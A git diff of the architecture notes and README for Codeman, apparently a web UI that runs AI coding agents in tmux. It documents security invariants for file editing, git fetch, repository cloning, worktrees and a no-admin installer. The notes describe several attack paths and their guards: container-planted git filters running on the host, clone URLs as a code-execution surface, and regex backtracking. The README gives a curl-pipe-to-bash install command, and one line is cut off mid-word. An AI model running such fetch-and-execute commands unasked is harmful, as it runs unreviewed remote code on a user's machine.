+**File Viewer edit mode** (issue #212): the file-preview overlay edits workspace text files in place: `GET .../file-content?edit=1` + `PUT /api/sessions/:id/file-content`, policy in `src/config/file-editing.ts`. This is a **third file surface and the only one that writes file contents** (the path picker's New folder creates folders only): read-path confinement (realpath + workspace + ownership) plus sensitive/blocked/`.git` denies and an extension **allowlist**; writes are `wx`-temp + rename (no `O_CREAT` anywhere = edit-in-place is structural); optimistic concurrency via sha256 `baseHash` → 409. ⚠️ `edit=1` never truncates and the client must never save a plain-preview buffer (the 500-line truncation would silently delete the rest). ⚠️ CRLF/UTF-8 guards: EOL re-applied server-side, non-UTF-8 refused via round-trip compare. → [architecture-invariants#file-viewer-edit-mode](docs/architecture-invariants.md#file-viewer-edit-mode), `docs/file-viewer-edit-plan.md`
 
-**Files panel search** (COD-236, the `q` param on `GET /api/sessions/:id/files`): `compileFileQuery()` (`utils/file-query.ts`, pure) compiles the query into a predicate the server-side walk prunes with; a query returns a FLAT match list and the walk recurses past non-matching directories. An empty, whitespace-only or overlong (`MAX_QUERY_LENGTH`, 256) query compiles to `null`, keeping the default tree response byte-identical. ⚠️ **Never compile a glob into a RegExp** (`*a*a*a…` backtracks and freezes the event loop for the whole server): `globMatch()` is a two-pointer wildcard walk. → [architecture-invariants#files-panel-search](docs/architecture-invariants.md#files-panel-search)
+**Files panel search** (COD-236, the `q` param on `GET /api/sessions/:id/files`): `compileFileQuery()` (`utils/file-query.ts`, pure) compiles the query into a predicate the server-side walk prunes with; a query returns a FLAT match list and the walk recurses past non-matching directories. An empty, whitespace-only or overlong (`MAX_QUERY_LENGTH`, 256) query compiles to `null`, keeping the default tree response byte-identical. ⚠️ **Never compile a glob into a RegExp** (`*a*a*a…` backtracks and freezes the event loop for the whole server): `globMatch()` is a two-pointer wildcard walk. Tree and search share one walk shape: a per-directory round-robin (breadth-first, so fair per directory, not per subtree) over one 5,000-node budget, where a folder's own files count as one share beside the subfolders it just found (`walkTurnEnd()`). ⚠️ That budget caps what is LISTED, never what is read: a read keeps only what the listing can use (`readWalkFolder()`) and `MAX_WALK_ENTRIES_READ` (250,000) stops opening folders, or one GET reads the whole workspace into memory. ⚠️ A folder below the walk's root is probed (#516) before its `readdir`, and anything but `directory` is skipped unflagged. ⚠️ A directory has its node before it is read, so every cursor still queued or unread when the walk ends must get `incomplete: true` or it reads as an empty folder. → [architecture-invariants#files-panel-search](docs/architecture-invariants.md#files-panel-search)
+
+**Files panel in a worktree** (#765, `src/live-worktree.ts`, `root=live` on `GET /api/sessions/:id/files`): Claude's EnterWorktree moves the process, and `paneCwd` follows it (tmux reads the process cwd, measured on 2.1.318, back out on ExitWorktree too), while `workingDir` stays the session's identity. `refreshLiveWorktree()` (server.ts) turns a changed `paneCwd` into `SessionState.liveWorktree` by reading the `.git` FILE (never spawning git), walking up and stopping at `workingDir`, a repository or submodule of its own, or anything unreadable. ⚠️ The security argument has two halves. The lookup only ever answers a folder strictly below `workingDir`, but that is a LEXICAL judgement made when the pane moves, and a symlink can replace the folder or a parent later without moving the pane, so `root=live` re-checks on every request (`canWalkLiveWorktree()`, file-routes.ts: walk the worktree only when it resolves strictly inside the resolved `workingDir`, else walk `workingDir`). The walk starts there, returned `path`s stay relative to `workingDir`, and the routes keep confining to `workingDir`, so never make `liveWorktree` a confinement root (a worktree outside the folder stays unfollowed). ⚠️ Only that check uses resolved paths: the walk keeps the session's spelling, or a workspace reached through a symlink stops producing paths relative to `workingDir`. ⚠️ A plain subfolder is deliberately no answer, or a `cd` in a shell would re-root the panel. ⚠️ A listing reports `worktree` whichever folder it walked, even when the worktree has gone or the check refused it: `_followFileBrowserWorktree()` compares that with the session's state, and an absent report would reload forever. Tests: `test/live-worktree.test.ts`, `test/routes/file-routes-live-worktree.test.ts`, `test/file-browser-worktree.test.ts`. → [architecture-invariants#files-panel-in-a-worktree](docs/architecture-invariants.md#files-panel-in-a-worktree)
 
 **Git status indicator** (`showGitStatus`, per-device, default OFF; `src/git-workspace-status.ts`, `routes/git-status-routes.ts`, `git-status-ui.js`): the bottom-bar indicator and its panel read `GET /api/sessions/:id/git-status` and `/git-diff`, read-only and offline on its own (it never fetches; fetching is the separate path below). ⚠️ git never runs on a repository at or inside a Docker case workspace (walk-up, scan and diff alike, and a cached repository list is re-checked against the CURRENT Docker roots), since a container could plant a clean filter that runs on the host; remote and Docker sessions answer `unsupported`. ⚠️ `git-diff` takes `repo`/`path`/`kind` only as keys matched against the workspace's own repository list (`findWorkspaceRepo()`) and that repository's current status, never as paths. ⚠️ Keep `--no-optional-locks`, `core.fsmonitor=false` and `log.showSignature=false` on every call and `--no-ext-diff --no-textconv` on diffs; clean filters still run, which is why the Docker rule exists. ⚠️ An enclosing repository at `$HOME` or above is ignored (`isUnrelatedAncestor()`), and is identified by one cached `rev-parse` before any full status runs. Everything git supplies renders via `textContent`. Tests: `test/git-workspace-status.test.ts`, `test/routes/git-status-routes.test.ts`, and `test/git-status.browser.test.ts` (browser suite, not in the gate).
 
 **Git fetch** (`src/git-fetch.ts`, `src/git-fetch-scheduler.ts`, `routes/git-status-routes.ts`, the panel's **Fetch** button): `POST /api/sessions/:id/git-fetch` is the ONLY git command the Git PANEL runs that WRITES (cloning and worktree management write too, but only when the user asked for them at that moment), and it is the only one that can run later by itself, on a timer, and the only one that can run a repository's own hooks (`reference-transaction`, `pre-auto-gc` through the automatic maintenance a fetch triggers, config commands such as `credential.helper`), which is why it is opt-in and never runs on a timer until the user turns it on. ⚠️ Fetch updates remote-tracking refs only; it must never commit, check out, merge or touch the working tree. ⚠️ It is not as harmless as a read: a fetch holds git's ref lock, so an agent's own `git pull` in the same clone can hit the same `cannot lock ref`, hence one folder is fetched by at most one run at a time (`fetchWorkspaceOnce` joins a run already going), and `FETCH_CONFIG_ARGS` (`-c core.fsmonitor=false -c maintenance.auto=false -c gc.auto=0`) keeps an unattended fetch from starting a gc in a repository the agent is using. ⚠️ `buildFetchArgs()` is `['fetch', '--quiet']` and must stay verb-invariant (`test/git-fetch.test.ts`); those `-c` overrides are added by the runner, not by `buildFetchArgs()`. ⚠️ The git timeout must reach the whole process TREE, not just the `git` parent: `execFile` signals the parent only, so `runFetch` spawns `detached` and signals the negative pid (SIGTERM, then SIGKILL `FETCH_KILL_ESCALATION_MS` later), and the caller is answered AT the timeout while the group is still dying: that is the point. `test/git-fetch.test.ts` proves it against a local server that never answers, by group membership rather than parentage. A non-zero exit must still reject the way `execFile` would, or a real failure reads as a clean run with no reason. ⚠️ The same Docker rule as above applies BEFORE any git runs (a repository at or inside a Docker case workspace is refused), and remote sessions answer `unsupported`. ⚠️ Keep it non-interactive (`gitNonInteractiveEnv()`: `GIT_TERMINAL_PROMPT=0` + BatchMode ssh) or a fetch hangs on an invisible login prompt, but that BatchMode ssh is a DEFAULT, never an override: `fetchEnvFor` must not overwrite the repository's `core.sshCommand`, the user's own `GIT_SSH_COMMAND` or a `GIT_SSH` (`readRepoSshCommand` reads it inside the same limiter slot and the same wall-clock bound as the fetch it serves, and the spawn gets only what the read left), and `StrictHostKeyChecking=accept-new` writes an unknown host key into `~/.ssh/known_hosts` without asking: BatchMode stops a prompt, not a write. Keep it bounded: `MAX_REPOS`/`MAX_REPOS_LIMIT` (12/50), `MAX_FETCH_OUTPUT_BYTES` (2 MB), the git timeout per spawn, and `FETCH_CONCURRENCY` (4) as ONE `Limiter` shared by the fetches of the whole tick: `createLimiter` keeps its count in the closure, so a limiter that delegated to `mapLimited` per call bounds each call, and 4 folders × 4 repositories would start 16 git processes. ⚠️ One semaphore cannot bound both the folders and the fetches: a folder holding a slot would then wait for a slot its own fetch needs, so the tick bounds its folders with `mapLimited` and hands the shared bound to every run. ⚠️ Failure text reaching a client is control-stripped and credential-redacted (`sanitizeGitOutput`) and the browser writes it with `textContent`. Scheduler semantics: settings are read fresh each tick (`GIT_FETCH_TICK_INTERVAL_MS`, 15 s), a per-session override wins even while the app-wide switch is off, the interval is timed from the run START, state is keyed by FOLDER (sessions sharing one folder are the same clone, so one run serves them all, the schedule is stamped at selection, and every session on a folder is remembered, a folder is due when ANY session open on it is due, so the order the sessions were read cannot decide which interval wins (both orders are tested), and the folder is probed once for the whole group rather than once per session on it: closing the one that holds the override must not stop the folder's fetching while another session is still open on it), a tick is skipped while the previous one is still going, and a user-chosen folder is probed BOUNDED with the default options before anything runs (rule #516: `unknown` is never read as `absent`). ⚠️ The two settings (`gitFetchEnabled`, `gitFetchIntervalSeconds`, off/300 by default, clamped 30–3600) are **synced**, not per-device: they must stay out of `displayKeys` and out of the strip destructure in settings-ui.js, or the scheduler reads nobody's value. Per-session state rides `SessionUpdated` (no new SSE event) as `gitFetch`, and the click route publishes the run's trigger, not the request's: `trigger: 'click'` only when the click was the run, because a click that joined a tick already going fetched nothing and cannot report itselLine truncated
 
+**Edit history panel** (`showEditHistory`, per-device, default OFF; issue #643): which files a claude session (local or remote SSH) edited, with diffs and the images a Bash call produced, read from its transcripts. ⚠️ **Reads only on request:** only the open panel triggers a read (`?sync=1`); the server never syncs on its own (no hook, timer or second watcher; wiring-guard test). ⚠️ **The store holds secrets** (every diff): 0600 under `dataPath('edit-history')`, bounded per session, deleted with the session's record, blocked in `isSensitivePath`, never fed to `/api/search`. ⚠️ **Images only through the existing file surfaces** (`file-raw` in the workspace, the attachment route outside it); no route here serves a transcript-supplied path, and such paths are probed only through `probePathKind()`, a remote session's only through `remoteProbePaths()`. ⚠️ **Remote reads never wake a host:** only the bounded ssh read path of `remote-files.ts`, a sleeping host answers `unavailable` (wiring-guard test). Docker, non-claude and adopted sessions answer `unsupported`. → [architecture-invariants#edit-history-panel](docs/architecture-invariants.md#edit-history-panel)
+
 **Raw file bodies are streamed and range-aware**: `file-raw`, the attachments `/raw` route, `GET /api/download` and the rendered-HTML route `GET /html-view/<cap>/...` share `sendFileBody()`, advertise `Accept-Ranges: bytes` and answer `Range` with `206` + `Content-Range` (single-range, parser in `src/web/http-range.ts`); without it `<video>` cannot seek. The size cap (`MAX_FILE_DOWNLOAD_BYTES`, default 2GB, env `CODEMAN_MAX_DOWNLOAD_BYTES`, `0` = unlimited) is a sanity bound, not memory protection; never reintroduce a whole-file buffer. ⚠️ Bodies go out via `reply.hijack()`, so `sendRawStream` must copy the status onto `reply.raw` by hand or a partial body ships as `200`. ⚠️ Closing the preview must pause and unload media (`_stopFilePreviewMedia`), since a detached `HTMLMediaElement` keeps playing. → [architecture-invariants#raw-file-bodies-streamed-and-range-aware](docs/architecture-invariants.md#raw-file-bodies-streamed-and-range-aware)
 
 **Ultracode / workflow-run visualization** (opt-in, default OFF): the Workflow tool writes a completion artifact only at run *end*, so live in-flight runs exist solely as transcript dirs. `workflow-run-watcher.ts` therefore synthesizes ACTIVE runs from transcripts until the completion artifact appears and supersedes them. It is **STANDALONE** and deliberately never imports or touches `subagent-watcher.ts`, despite reading the same tree. Two independent toggles: `showUltracodeAgents` (docked panel) and `ultracodeFloatingWindows` (floating windows); the watcher starts if **either** is on. → [architecture-invariants#ultracode-and-workflow-run-visualization](docs/architecture-invariants.md#ultracode-and-workflow-run-visualization)
 
-**Clone a repository as a case** (issue #236, Add Case → **Clone Repo**): `POST /api/cases/clone` clones synchronously into the caller's case space (bounded by `GIT_CLONE_TIMEOUT_MS`, no job store); `POST /api/cases/clone-preflight` checks anonymous cloneability and lists refs. Core in `src/git-clone.ts`. ⚠️ **The URL is a code-execution surface**: refuse every `::` form and a leading `-`, spawn only argv arrays with `--` before operands. ⚠️ Stay non-interactive (`gitNonInteractiveEnv()`) or the open request hangs; never collect credentials, refuse `user:password@` URLs. ⚠️ Timeout kills the process GROUP, remove the destination only if this attempt created it, and repo contents win over scaffolding (existing `CLAUDE.md` kept, hooks merged, repo `.claude/settings*` warned about). → [architecture-invariants#clone-a-repository-as-a-case](docs/architecture-invariants.md#clone-a-repository-as-a-case)
+**Clone a repository as a case** (issue #236, Add Case → **Clone Repo**): `POST /api/cases/clone` clones synchronously into the caller's case space (bounded by `GIT_CLONE_TIMEOUT_MS`, no job store); `POST /api/cases/clone-preflight` checks anonymous cloneability and lists refs. Core in `src/git-clone.ts`. ⚠️ **The URL is a code-execution surface**: refuse every `::` form and a leading `-`, spawn only argv arrays with `--` before operands. ⚠️ Stay non-interactive (`gitNonInteractiveEnv()`) or the open request hangs; never collect credentials, refuse `user:password@` URLs. ⚠️ Timeout kills the process GROUP, remove the destination only if this attempt created it, and repo contents win over scaffolding (existing `CLAUDE.md` kept, hooks merged, repo `.claude/settings*` warned about). ⚠️ A `path` is the folder cloned INTO (the API adds no case-name subfolder; the Clone Repo tab's custom folder is a PARENT, so the page sends `<folder>/<case name>` through `_cloneTargetPath()`, as Create New does through `_newCaseTargetPath()`) and registers a linked case: admin-only in multi-user mode, judged by `prepareNewCasePath()`, empty or new only; an empty one is cloned into directly and never removed, and emptied after a failure only when git really ran and did not refuse it. ⚠️ A destination at or inside a Docker case workspace is refused `400` on both branches: git would run the new repository's hooks and filters on the host. → [architecture-invariants#clone-a-repository-as-a-case](docs/architecture-invariants.md#clone-a-repository-as-a-case)
 
 **Git worktrees of a case** (case picker → **Git worktrees…**; `src/git-worktrees.ts`, `routes/worktree-routes.ts`): a local repository case keeps worktrees at `<repo>/.claude/worktrees/<name>` on `worktree-<name>`, Claude Code's own `--worktree` layout. ⚠️ Only that managed path is ever created or removed, every component `lstat`ed and realpath-checked (a symlinked `.claude` is refused). ⚠️ git never runs for a Docker or remote case, nor at or inside a Docker workspace (`worktree add` runs hooks and filters on the host). ⚠️ Remove is `git worktree remove` WITHOUT `--force`, refused while a live session is inside; branch delete is `-d`, never `-D`. ⚠️ Sessions start through the existing create paths (quick-start `worktree`, or `POST /api/sessions` `workingDir`), never a new spawn path. → [architecture-invariants#git-worktrees-of-a-case](docs/architecture-invariants.md#git-worktrees-of-a-case)
 
@@ -315,7 +323,7 @@ One module per domain in `src/web/routes/` (plus a barrel; `ls src/web/routes/`
 
 ## State Files
 
-All in `~/.codeman/`: `state.json` (sessions, settings, respawn, orchestrator, cron jobs/runs, owner tab layouts, case default groups), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` + `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart), `docker-env-applied.json` (Compose deployment only: sha256 of the Dockerfile + compose file the running container was built from, written by `Start-Codeman.sh`, read by the self-updater's environment gate), `docker-build-source.json` (Compose deployment only: the checkout's HEAD commit and `package-lock.json` hash the `codeman-node-modules`/`codeman-dist` volumes currently reflect, written by both `Start-Codeman.sh` and a successful in-place self-update, compared to detect and refresh a volume left stale by an externally-triggered rebuild), `linked-cases.json`, `webviews.json` (saved web-tab dashboard URLs), `remote-hosts.json` + `remote-cases.json`, `docker-hosts.json` + `docker-cases.json` + `docker-exports/`, `subagent-window-states.json` + `subagent-parents.json` (subagent window layout, GET/PUT `/api/subagent-window-states`/`-parents`), `hook-secret` (per-instance), `users.json` (multi-user, mode 0600) + `admin-audit.jsonl`, `intents.json` (Read My Mind intent profiles, mode 0600), `agent-inbox.json` (agent inbox snapshot, only while `agentInboxPersistEnabled` is on, mode 0600), `webhook.json` (webhook notifications: enabled/service/scope plus the ntfy/Slack/Discord URL, a bearer secret, so mode 0600, kept out of `settings.json` and never returned by `/api/webhook`, which is admin-only in multi-user mode), `config-backup-id` (the random id config backups record as each manifest's `origin`, so instances sharing a backup folder keep to their own snapshots; mode 0600, never tracked or restored, and deleting it unlists this instance's earlier snapshots), `backups/config/` (the default config-backup folder, moved by `configBackupDir`: `cfg-YYYYMMDD-HHMMSS/` snapshots, 0700 with 0600 files, each with a `manifest.json` of SHA-256s, the origin and the retention in force (`keepCount`/`keepDays`), which a pass falls back to when `settings.json` lacks a retention key), `certs/` (self-signed TLS for `--https`), `.env` (CODEMAN_USERNAME/PASSWORD fallback for the `codeman attach` CLI), `install.log` (installer step output, written by `install.sh`'s `run_step`) and `tailscale-rename` (the node name before `install.sh` renamed it, so uninstall can offer it back; both installer-route only). Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users/<username>/cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`).
+All in `~/.codeman/`: `state.json` (sessions, settings, respawn, orchestrator, cron jobs/runs, owner tab layouts, case default groups), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` + `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart), `docker-env-applied.json` (Compose deployment only: sha256 of the Dockerfile + compose file the running container was built from, written by `Start-Codeman.sh`, read by the self-updater's environment gate), `docker-build-source.json` (Compose deployment only: the checkout's HEAD commit and `package-lock.json` hash the `codeman-node-modules`/`codeman-dist` volumes currently reflect, written by both `Start-Codeman.sh` and a successful in-place self-update, compared to detect and refresh a volume left stale by an externally-triggered rebuild), `linked-cases.json`, `webviews.json` (saved web-tab dashboard URLs), `remote-hosts.json` + `remote-cases.json`, `docker-hosts.json` + `docker-cases.json` + `docker-exports/`, `subagent-window-states.json` + `subagent-parents.json` (subagent window layout, GET/PUT `/api/subagent-window-states`/`-parents`), `hook-secret` (per-instance), `users.json` (multi-user, mode 0600) + `admin-audit.jsonl`, `intents.json` (Read My Mind intent profiles, mode 0600), `agent-inbox.json` (agent inbox snapshot, only while `agentInboxPersistEnabled` is on, mode 0600), `edit-history/<id>.json` (Edit history panel, one store per session, every diff an agent wrote, mode 0600), `webhook.json` (webhook notifications: enabled/service/scope plus the ntfy/Slack/Discord URL, a bearer secret, so mode 0600, kept out of `settings.json` and never returned by `/api/webhook`, which is admin-only in multi-user mode), `discord.json` (Discord bridge: bot token, a bearer secret, so mode 0600, never returned by `/api/discord`, admin-only in multi-user mode) + `discord-bridge.json` (sessionId to Discord thread id), `config-backup-id` (the random id config backups record as each manifest's `origin`, so instances sharing a backup folder keep to their own snapshots; mode 0600, never tracked or restored, and deleting it unlists this instance's earlier snapshots), `backups/config/` (the default config-backup folder, moved by `configBackupDir`: `cfg-YYYYMMDD-HHMMSS/` snapshots, 0700 with 0600 files, each with a `manifest.json` of SHA-256s, the origin and the retention in force (`keepCount`/`keepDays`), which a pass falls back to when `settings.json` lacks a retention key), `certs/` (self-signed TLS for `--https`), `.env` (CODEMAN_USERNAME/PASSWORD fallback for the `codeman attach` CLI), `install.log` (installer step output, written by `install.sh`'s `run_step`) `tailscale-rename` (the node name before `install.sh` renamed it, so uninstall can offer it back) and `runtime/` (the Node.js and tmux `install.sh` downloaded on its no-admin route, linked from `~/.local/bin`; all three installer-route only). Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users/<username>/cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`).
 
 **Generated top-level dirs** (all gitignored — don't edit or commit): `dist/` (esbuild output), `out/`, `coverage/`, `test-results/`, `tmp/`, `screenshots-echo-diag/`. The committed gesture bundle (`src/web/public/gesture/gesture-codeman.js`) IS tracked, but its runtime wasm/model assets (`src/web/public/gesture/wasm/`, `*.task`) are fetched and gitignored.
 
@@ -380,6 +388,6 @@ Two constraints worth knowing before you touch them: the env-derived PTY buffer
 
 ## Scripts & Tunnel
 
-**`install.sh`** (repo root) is the public `curl | bash` installer: it installs Node/tmux/git/build tools, clones to `~/.codeman/app`, builds, and offers a systemd/launchd service, asking every question BEFORE the unattended build (log in `~/.codeman/install.log`). Network access is Tailscale / LAN / local-only; re-runs preserve the existing binding AND password (`read_existing_binding()`). ⚠️ Compose the hand-start env only in `start_command_hint`/`export_bind_env`, and call `stop_background_helpers` before `exec`. ⚠️ Tailscale rename is opt-in (default NO, never under `--yes`/non-interactive); NEVER `tailscale serve reset`, touch a mapping it did not create, run `tailscale funnel` or advertise a Service (`test/install-sh-invariants.test.ts`). ⚠️ Stay **bash 3.2** clean (no `declare -A`, `mapfile`, namerefs, `${x,,}`, here-strings, empty-array expansion under `set -u`). ⚠️ Execute only commands from the generated CLI block (`CLI_INSTALL_CMD_TRUSTED`, `npm run generate:cli-catalog`). → [architecture-invariants#installsh-the-public-installer](docs/architecture-invariants.md#installsh-the-public-installer)
+**`install.sh`** (repo root) is the public `curl | bash` installer: it installs Node/tmux/git/build tools, clones to `~/.codeman/app`, builds, and offers a systemd/launchd service, asking every question BEFORE the unattended build (log in `~/.codeman/install.log`). Network access is Tailscale / LAN / local-only; re-runs preserve the existing binding AND password (`read_existing_binding()`). ⚠️ Compose the hand-start env only in `start_command_hint`/`export_bind_env`, and call `stop_background_helpers` before `exec`. ⚠️ Tailscale rename is opt-in (default NO, never under `--yes`/non-interactive); NEVER `tailscale serve reset`, touch a mapping it did not create, run `tailscale funnel` or advertise a Service (`test/install-sh-invariants.test.ts`). ⚠️ **No-admin route** (`--no-admin` / `CODEMAN_NO_ADMIN`, taken by itself when the account has no administrator rights): Node.js (nodejs.org, checked against `SHASUMS256.txt`) and tmux (`tmux/tmux-builds`, digests pinned in `tmux_build_sha256`: bump `TMUX_BUILD_VERSION` and all four together) go into `~/.codeman/runtime`, and without a working git the source is an archive that updates by a re-run (built beside the old tree, swapped in after the build). Nothing in that section may run `sudo`, Homebrew or `xcode-select --install`, a download is verified before it is unpacked, the route is never decided by `sudo -v`, `/usr/bin/git` on a Mac is never executed before `xcode-select -p` proves the developer tools, and `no_admin_blocker` stops BEFORE the first download for what it cannot supply (a Linux toolchain, macOS below 15). ⚠️ Stay **bash 3.2** clean (no `declare -A`, `mapfile`, namerefs, `${x,,}`, here-strings, empty-array expansion under `set -u`). ⚠️ Execute only commands from the generated CLI block (`CLI_INSTALL_CMD_TRUSTED`, `npm run generate:cli-catalog`). → [architecture-invariants#installsh-the-public-installer](docs/architecture-invariants.md#installsh-the-public-installer)
 
 Other key scripts: `scripts/tmux-manager.sh` (safe tmux mgmt), `scripts/tunnel.sh [quick|named] start|stop|status|url` (quick = random trycloudflare URL, default; `named setup|enable` = fixed-hostname tunnel via `scripts/codeman-tunnel-named.service`; bare `start|stop|url` still means quick), `scripts/run-beta.sh` (isolated beta instance), `scripts/build-agent-image.mjs` (docker base image), `scripts/self-update.sh` (detached updater). Production services: `scripts/codeman-web.service`, `scripts/codeman-tunnel.service`. **Always set `CODEMAN_PASSWORD`** before exposing via tunnel.

README.md

@@ -17,6 +17,7 @@
   <a href="https://github.com/Ark0N/Codeman/stargazers"><img src="https://img.shields.io/github/stars/Ark0N/Codeman?style=flat-square&color=eab308" alt="GitHub stars"></a>
   <a href="https://github.com/Ark0N/Codeman/graphs/contributors"><img src="https://img.shields.io/github/contributors/Ark0N/Codeman?style=flat-square&color=3b82f6" alt="Contributors"></a>
   <a href="https://github.com/Ark0N/Codeman/commits/master"><img src="https://img.shields.io/github/commit-activity/t/Ark0N/Codeman?style=flat-square&color=1e3a5f" alt="Total commits"></a>
+  <a href="https://github.com/NipunaRanasinghe/awesome-ai-agents"><img src="https://img.shields.io/badge/Featured_in-Awesome_AI_Agents-2ea44f?style=flat-square" alt="Featured in Awesome AI Agents"></a>
 </p>
 
 <p align="center">
@@ -68,6 +69,7 @@ This installs Node.js, tmux and a build toolchain if missing (node-pty ships no
 - **How it's reachable, your choice.** **Tailscale** (loopback bind fronted by `tailscale serve`, so you get `https://<machine>.<tailnet>.ts.net` with a real certificate and your tailnet as the login, no password needed), **any device on your network** (`0.0.0.0`, with a strongly recommended password prompt), or **this machine only** (`127.0.0.1`, safest). Skipping the password on a network bind requires an explicit confirmation and ends with a loud warning. The highlighted default reflects what is already on the machine (Tailscale when it is already connected, your existing binding on a re-run), and a bare Enter never pulls in new software. If another app already owns `:443` on your node, Codeman goes under `https://<machine>.<tailnet>.ts.net/codeman` or on a second port instead of replacing it. A bare `codeman web` started by hand still defaults to loopback.
 - **The name is yours to choose.** By default the URL uses the machine's existing tailnet name. Answering yes to the second question renames the machine to `codeman-<hostname>` (which also renames it for SSH, so the default is no); `install.sh name` does it later.
 - **Re-run to update.** The same one-liner updates a finished install in place: local changes in `~/.codeman/app` are stashed (never discarded), and a running service is restarted and verified. If a first install was interrupted, re-running resumes the full setup instead. `install.sh status` prints the URLs and the QR code again; `install.sh update`, `install.sh tailscale` and `install.sh uninstall` also exist.
+- **No administrator rights needed.** On an account without `sudo`, one whose `sudo` rights the installer cannot confirm (outside the `sudo`, `wheel` and `admin` groups, with a password still required) or a Mac account that is not an administrator and has no Homebrew it can write to, the installer downloads Node.js from nodejs.org and the tmux project's own build into `~/.codeman/runtime`, each checked against its SHA-256, and takes the source as an archive when there is no working git. `--no-admin` forces that route and `CODEMAN_NO_ADMIN=0` turns it off. Two limits: Linux needs make, a C++ compiler and python3 to be there already, and the tmux download needs macOS 15 or newer. Details in the [wiki](https://github.com/Ark0N/Codeman/wiki/Installation#without-administrator-rights).
 - **Flags for the impatient.** `curl -fsSL https://getcodeman.com/install | bash -s -- --tailscale --service` answers the questions from the command line (`--lan`, `--local`, `--run`, `--no-start`, `--name <n>`, `--port <n>`, `--yes` too). **CI / headless:** without a terminal attached, steps that would change your system abort with instructions instead of running silently; set `CODEMAN_NONINTERACTIVE=1` to approve them for automation.
 
 You'll need at least one AI coding CLI installed — [Claude Code](https://docs.anthropic.com/en/docs/claude-code), [OpenCode](https://opencode.ai), [Codex](https://developers.openai.com/codex/cli), [Antigravity](https://antigravity.google), [Gemini CLI](https://github.com/google-gemini/gemini-cli), [Pi](https://pi.dev), [Grok Build](https://github.com/xai-org/grok-build), [DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness), [OMP](https://github.com/can1357/oh-my-pi), or [GitHub Copilot CLI](https://github.com/github/copilot-cli) (any combination works; Gemini CLI is enterprise-only since Google's consumer cutover, and Antigravity is its successor). The installer detects whichever of the ten is present; if none is found, it offers to install any of them from a menu (DeepSeek excepted, since its npm package installs only a launcher with no runnable profile), or you can skip and install one yourself later. After install:
@@ -84,10 +86,17 @@ codeman users add alice --admin      # create the first admin account
 codeman web --multiuser              # named logins + per-user case spaces
 ```
 
-**Prefer Docker Compose?** A local-image Compose deployment ships in `docker/`: copy `docker/.env.example` to `docker/.env`, set `CODEMAN_PASSWORD`, then run `bash docker/Start-Codeman.sh` on Linux. Codeman runs in a container and spawns Docker cases as sibling containers through the host socket. After updating, run the script again rather than a plain `docker compose up`, so the rebuilt image, refreshed volumes and entrypoint arrive together. See the [Docker deployment guide](docker/README.md) for direct Compose commands, storage and networking options.
-
 Details in [Multi-User Mode](#multi-user-mode-opt-in) below.
 
+**Prefer Docker Compose?** Clone the repo and run one script (Linux, Docker with the Compose v2 plugin):
+
+```bash
+git clone https://github.com/Ark0N/Codeman.git && cd Codeman
+bash docker/Start-Codeman.sh
+```
+
+The first run asks three questions (data folder, port, password; Enter takes the default, including a generated password), writes `docker/.env` for you, builds the image and ends on the URL once Codeman answers. The image already includes Claude Code, Codex, Gemini CLI and OpenCode. Codeman runs in a container and spawns Docker cases as sibling containers through the host socket. To update, use **App Settings → Updates**, or `git pull` and run the script again rather than a plain `docker compose up`, so the rebuilt image, refreshed volumes and entrypoint arrive together. See the [Docker deployment guide](docker/README.md) for Unraid, direct Compose commands, storage and networking options.
+
 <details>
 <summary><strong>Keep it running in the background</strong></summary>
 
@@ -463,6 +472,7 @@ PTY Output → 16ms Server Batch → DEC 2026 Wrap → SSE → Client rAF → xt
 - **Git status in the bottom bar** — off by default (**App Settings → Header & Panels → Bottom bar → Git status**, per device). A small indicator at the right of the bottom bar shows the active session's repository at a glance: `● 3` uncommitted files, `↑ 2` commits not pushed, `⚠` merge conflicts, `✓` all committed and pushed. Click it for a draggable window listing the staged, not-staged, untracked and conflicted files (grouped under collapsed folders, or as a flat list if you turn that setting off) and the unpushed commits; **click a file to see its diff** (new files as all additions, deleted files as all removals), with **Open file** to jump to the viewer. A folder that holds several projects gets one collapsible section per repository found up to two levels down, all collapsed until you open them. **Fetch** in that window's header runs `git fetch` for the repositories it lists, on your click or on an interval you turn on (**App Settings → Bottom bar**, off by default; **Session Options → Git** overrides both the switch and the interval per session). Sessions open on the same folder share one run and each sees its result. Apart from that fetch Codeman never fetches or changes the repo, so "behind" is as of the last fetch; not shown for Docker or remote sessions.
 - **Clone a GitHub repo as a case** — paste a repository URL into **Add Case → Clone Repo** and Codeman clones it into `~/codeman-cases/<name>` and registers it as a normal case, ready to run an agent in. It preflights the URL while you type (tells you whether it can be cloned anonymously and offers the repo's real branches and tags for the optional branch/tag field), fills the case name in from the URL, and lets you pick which CLI the Run button should use. Public repositories over `https://`; Codeman never collects or stores credentials
 - **Create a case in a custom folder** — tick **Create in a custom folder** in **Add Case → Create New**, pick a parent folder (Browse included) and a name, and Codeman scaffolds the new case there instead of `~/codeman-cases`. The target must be a new or empty folder; system directories, your home folder itself, credential trees such as `~/.ssh`, and Codeman's own data folder are refused. Admin only in multi-user mode.
+- **Open a tmux session you started by hand**: a tmux session started outside Codeman shows up on the home screen, on this machine automatically and in your Docker cases' containers or on your saved SSH hosts when you scan for them. One click opens it as a tab. Closing the tab only detaches, and Codeman will not respawn or relaunch an agent it did not start. See [Opened outside Codeman](docs/wiki/The-Dashboard.md#opened-outside-codeman).
